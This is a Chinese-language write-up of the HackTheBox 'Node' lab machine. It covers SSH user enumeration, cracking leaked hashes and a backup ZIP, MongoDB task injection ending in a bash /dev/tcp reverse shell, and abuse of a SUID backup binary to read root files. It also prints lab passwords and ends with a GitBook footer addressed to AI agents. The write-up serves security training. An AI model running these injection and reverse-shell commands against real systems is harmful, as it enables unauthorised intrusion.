> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Node HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露
* API 枚举
* 破解哈希
* 破解 ZIP 文件
* 备份下载 - 存储的凭据
* MongoDB 枚举
* Mongo 任务注入 - 命令注入（用户横向移动）
* SUID 备份二进制文件利用 - 动态分析
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/eb9577c3a90fe59b6134b2cde9a523cc9f709afe" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/cfbd6951d1dfc18bd734e03b535e500cc9edae11" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="/files/0d54eff9b754df42941dd458a5fa29729887eb98" alt=""><figcaption></figcaption></figure>

/*/使用 extractPorts 对开放端口进行分析（22,3000）//*

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/2d9c34b4432c7a6843655efc5b3372b48971c685" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="/files/1c71f1b8e5ee89a3415a0c5db6117d3a6cbaaa60" alt=""><figcaption></figcaption></figure>

### **端口 22 - SSH**

我们注意到该版本存在用户枚举漏洞，因为它低于 7.7 版本。这允许你尝试用户列表。

使用 `searchsploit` 寻找一个漏洞利用

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/64bf89f693b870be1c955753fc58b8cdc6f13320" alt=""><figcaption></figcaption></figure>

我们使用这个漏洞利用来检查某个用户是否有效：

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="/files/93da852c6d33360dd7607f8eb66da54b40eb827e" alt=""><figcaption></figcaption></figure>

## 端口 3000 - HTTP

我们找到了几个潜在用户： `tom`, `mark`, `rastating`.

<figure><img src="/files/a4ac525726de07da705d0dc46ae39571e6e407b2" alt=""><figcaption></figcaption></figure>

使用 `45939.py` 进行 SSH 枚举以测试用户：

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

我们注意到 `tom` 和 `mark` 是有效用户。

<figure><img src="/files/103b7167c21d085a3a0e3aebb64af60d99e0ebe5" alt=""><figcaption></figcaption></figure>

### 目录列表：

我们使用 `gobuster` 在端口 3000 上枚举目录：

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

没有发现有趣的信息。不过，通过在 Firefox 中查看网络请求，我们找到了一个 `最新` 调用 API 的文件。

<figure><img src="/files/5df9678d58973e3bd9701d6ff5b2afecd9ae5f76" alt=""><figcaption></figcaption></figure>

### API 探索：

该 API 包含一个 `/users` 会返回敏感信息的路由，包括多个用户的密码哈希：

<figure><img src="/files/273fec2c26704bf41a53e22c61cf4b864e522130" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="/files/41591fdb8d6b64ce1749a4d07eb02ae709df974d" alt=""><figcaption></figcaption></figure>

### 密码破解：

我们使用 `crackstation` 用于破解用户密码。

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/2b2c369584b7dfd48fa129be268f60d3bcef05e3" alt=""><figcaption></figcaption></figure>

解码后的密码如下：

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="/files/db4aaaab373f608115ab2db3722d0cf778ac2d49" alt=""><figcaption></figcaption></figure>

我们成功以用户身份连接到 `myP14ceAdm1nAcc0uNT` 管理面板。

<figure><img src="/files/d49c1df9ff01e2fc68aa0c3471dedfe42a0be417" alt=""><figcaption></figcaption></figure>

### 下载备份：

该 `myP14ceAdm1nAcc0uNT` 用户允许我们下载一个备份文件。

<figure><img src="/files/8f7000d577e5f1cf04f960d01f9dc2779c3e2ebb" alt=""><figcaption></figcaption></figure>

下载的文件包含一个 Base64 字符串。

<figure><img src="/files/251be3abdb1f77dcfe3e4df248aa42816ff126ee" alt=""><figcaption></figcaption></figure>

我们将其解码为一个 ZIP 文件：

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="/files/74ff232c219ec78d66a6a61586a00df4b356ef30" alt=""><figcaption></figcaption></figure>

### 对 ZIP 文件进行暴力破解：

**使用 `zip2john`**:

因此我们将使用 zip2john 提取哈希值

```bash
zip2john myplace.zip > hash
```

<figure><img src="/files/678c9a24bf177486426175a449d6d12801712b58" alt=""><figcaption></figcaption></figure>

**使用以下工具跟踪密码： `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**结果**：找到密码 - `magicword`

<figure><img src="/files/873812f8254d44b66bf3b1fe13f2b30472993e83" alt=""><figcaption></figcaption></figure>

我们成功解压了 ZIP 文件，其中包含位于 `/var` 目录。

<figure><img src="/files/fbff6bf0abe9584d6d7e5efc0987e12f8bc8160b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d337cbdc8f532967bb4430f73d11f6820356bb59" alt=""><figcaption></figcaption></figure>

### 对 `app.js`:

在 `app.js` 文件的探索中，我们找到了敏感信息，包括一个用户（`mark`）以及访问数据库所需的相关密码：

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="/files/fe2ce8dba498094bfa23813c1d3776fbdb0cb474" alt=""><figcaption></figcaption></figure>

#### 使用 `mark`:

我们使用恢复的信息，以用户身份连接到 SSH `mark`:

```bash
ssh mark@10.10.10.58 
```

密码： `5AYRft73VtFpc84k`

我们现在已经能够访问目标机器。

<figure><img src="/files/ffa3bde6d58ae3ecb60a6a289da4c7133da48375" alt=""><figcaption></figcaption></figure>

## 横向移动到用户 Tom

我们现在需要切换到用户 **tom**.

<figure><img src="/files/5dde503badd4a5134867802ca25e43b539600d82" alt=""><figcaption></figcaption></figure>

### 连接到 MongoDB 基础

查看当前进程时，我们注意到 **tom** 运行一个 `app.js` 带有 Node.js 的文件。

<figure><img src="/files/641212b7beba207e23dd891169e8fc9e516b5fb4" alt=""><figcaption></figcaption></figure>

该文件连接到 `scheduler` 数据库，使用与用户相同的凭据 **mark**.

<figure><img src="/files/54c2e3eabbcaba21f3aaefcffc02358c8edb093e" alt=""><figcaption></figcaption></figure>

要访问数据库，我们使用 **mark** 凭据：

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="/files/ce8bffef173da886bd7f4ed6fe2d320b778afbae" alt=""><figcaption></figcaption></figure>

### MongoDB 反向 Shell

该 `app.js` 脚本通过 MongoDB 文档执行系统命令（通过 `doc.cmd`）。这是一个严重漏洞，因为可以注入并执行任意命令。

<figure><img src="/files/8fe15b8855b0c4dbe419089a513d941930efae9b" alt=""><figcaption></figcaption></figure>

为了确认我们可以通过 MongoDB 执行命令

**创建本地 Web 服务器**

在攻击机上运行一个 Web 服务器以观察请求：

```bash
python3 -m http.server 80
```

**在 `tasks` 集合**

中插入一个测试命令，

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**观察请求**

在 MongoDB 中，插入一个会向你的攻击机发起 HTTP 查询的命令

<figure><img src="/files/e295c079bd6787d7d21df386a6cfe83431f6147b" alt=""><figcaption></figcaption></figure>

启动反向 Shell。

on se met en ecoute port 443

```bash
nc -nlvp 443
```

#### 启动反向 Shell

**在 443 端口上配置监听** 在攻击机上：

```bash
nc -nlvp 443
```

**插入反向 shell 命令**

在 MongoDB 中，插入一个建立反向 shell 的命令：

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**连接成功** 命令执行后，你会在目标机器上获得一个交互式 shell，用户为 **tom**.

<figure><img src="/files/81303a53b95d08178cc9c999813259cd11f298a6" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/c92f33e7de6f820f7ca20da5f10f0b94a692228e" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUID 二进制文件（备份）

要搜索已启用 SUID 位的文件，可以使用以下命令：

```bash
find / -perm -4000 2>/dev/null
```

这使我们能够找到一个名为 `backup`.

<figure><img src="/files/02bc6fcb4c102a71e894f9ce56ad84375d7f88c6" alt=""><figcaption></figcaption></figure>

该二进制文件的所有者是 `root`，这意味着它以 root 用户权限运行。

<figure><img src="/files/3dc043bfa4a1ea2f02be61599b7ff369f9c52cad" alt=""><figcaption></figcaption></figure>

当我们尝试直接运行这个二进制文件时，什么也不会发生。不过，通过测试不同的输入项，我们发现它接受一个由空格分隔的三个字符组成的字符串，这揭示了可用的功能：

```bash
/usr/local/bin/backup a d g
```

<figure><img src="/files/308f371bb5383bf956de6fb6deb3affff915d1ea" alt=""><figcaption></figcaption></figure>

通过查看 `app.js` 文件，我们找到了有关该二进制文件用法的信息，以及执行它所需的密钥。密钥位于文件顶部。

<figure><img src="/files/4224b4d2d98989f0636eab6a834364e221b003b6" alt=""><figcaption></figcaption></figure>

要使用该二进制文件，我们需要提供密钥，然后再提供要保存的目录路径。

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="/files/105761e6255a31a240f957099df727f40503d5d7" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

这会生成 Base64 输出。

<figure><img src="/files/9f0201bca209e4d6e8d9e1672fdf922d8b3414b8" alt=""><figcaption></figcaption></figure>

Base64 输出可以解码为一个 `.zip` 文件，使用以下命令：

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="/files/179faaa052f6a0d23265e852c312cce3d965506f" alt=""><figcaption></figcaption></figure>

该 zip 文件受密码保护。我们使用之前找到的密码

* 密码： `magicword`

不过， `root.txt` 压缩包中包含的文件只是一个诱饵（误导陷阱）。

<figure><img src="/files/3c3ed46cc9377d5ebf7b0de0a0fcba5aa02556dd" alt=""><figcaption></figcaption></figure>

### 使用以下工具进行详细分析 `ltrace`

使用 `ltrace`，我们观察到该二进制文件会将路径 `/root` 与参数中提供的路径进行比较。如果路径匹配，它会显示一张恶搞漫画。

<figure><img src="/files/38c90cf4454fcd95f01cfdb2d409660f58a0afab" alt=""><figcaption></figcaption></figure>

为了绕过此检查，我们从 root（`/`)通过请求备份以下内容 `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="/files/ed9503482ead876295305927a5ca4e9885f8ecad" alt=""><figcaption></figcaption></figure>

新生成的内容也是 Base64 编码。我们将其解码以获得最终内容：

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### root.txt flag :)

通过提取最终文件，我们访问所需内容。

<figure><img src="/files/f25396c23c6519a33acbf5fc6263effef12d2fd2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7267e9b002293db640df406ee5ca1e18da532bc7" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
